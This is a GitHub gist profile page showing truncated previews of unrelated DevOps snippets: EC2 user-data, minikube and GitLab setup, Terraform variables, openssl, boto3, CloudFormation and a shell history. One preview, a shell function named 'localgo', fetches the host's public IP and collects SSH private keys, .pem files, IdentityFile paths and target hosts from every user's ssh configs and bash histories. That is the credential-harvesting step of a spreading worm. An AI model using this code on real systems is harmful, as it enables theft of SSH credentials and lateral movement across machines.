Skip to content

Instantly share code, notes, and snippets.

View trevenen's full-sized avatar

Thayne Trevenen trevenen

View GitHub Profile
#!/bin/bash -ex
# not for debian more for rhel biased = much
exec > >(tee /var/log/user-data.log|logger -t user-data -s 2>/dev/console) 2>&1
echo BEGIN
date '+%Y-%m-%d %H:%M:%S'
# Edit these for mucho gusto
SSHUSER="jimbean"
SSHPUBKEY="ssh-rsa AAAABsadfsdgsbfvdf..xyz"
# Setup gitlab on minikube using helm3
## Start minikube with virtualbox driver
```
minikube start \
--driver=virtualbox \
--cpus 4 \
--memory 8192
```
**Recomended:** 8 CPU and 30 GB RAM (for demo we are going to use minimal setup)
variable "ec2_instance_type" {
type = string
default = "t3.xlarge"
}
variable "amazon_owner_id" {
type = string
default = "137112412989"
}
openssl req -nodes -new -x509 -keyout synergy.key -out synergy.cert -days 3650 -sha256 -subj "/C=US/ST=TX/L=AUSTIN/O=RANGERS/OU=IT/CN=LEETERS"
cat synergy.key synergy.cert > synergy.pem
rm -f synergy.key synergy.cert
@trevenen
trevenen / domain-tool.py
Created December 9, 2020 03:31
do the needful
#!/usr/bin/env python
# -*- coding utf-8 -*-
import dns.resolver
import argparse
import sys
def parser_error(errmsg):
print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
#!/bin/sh
localgo() {
myhostip=$(curl -sL icanhazip.com)
KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'})
KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}')
# Usage: monitor_process.py <service_name>
#
# Example(crontab, every 5 minutes):
# */5 * * * * /root/bin/monitor_service.py clamd > /dev/null 2>&1
#
import sys
import subprocess
class ServiceMonitor(object):
def __init__(self, service):
self.service = service
@trevenen
trevenen / gist:645cbc9738add7ba2891e6c34d3f9112
Created September 10, 2019 17:33
Elastic Search Cluster CFT..
{
"AWSTemplateFormatVersion" : "2010-09-09",
"Description" : "ElasticSearch Cluster.",
"Parameters" : {
"KeyName": {
"Description" : "The name of an existing key pair to enable SSH access to Amazon EC2 instances",
"Type": "String",
import boto3
import time
# Get the s3 and lambda arn from the cloudformation stack
cloud_client = boto3.client('cloudformation')
try:
stack_info = cloud_client.describe_stacks(StackName='v1')
print("stack already exists")
except:
print("The stack does not exist okay to create")
2 ssh-keygen
3 systemctl reload sshd
5 sudo systemctl start firewalld
6 sudo firewall-cmd --permanent --add-service=ssh
7 sudo firewall-cmd --permanent --remove-service=ssh
8 sudo firewall-cmd --permanent --add-service=ssh
9 sudo firewall-cmd --permanent --add-service=http
10 sudo firewall-cmd --permanent --add-service=https
11 sudo systemctl enable firewalld
12 sudo yum install epel-release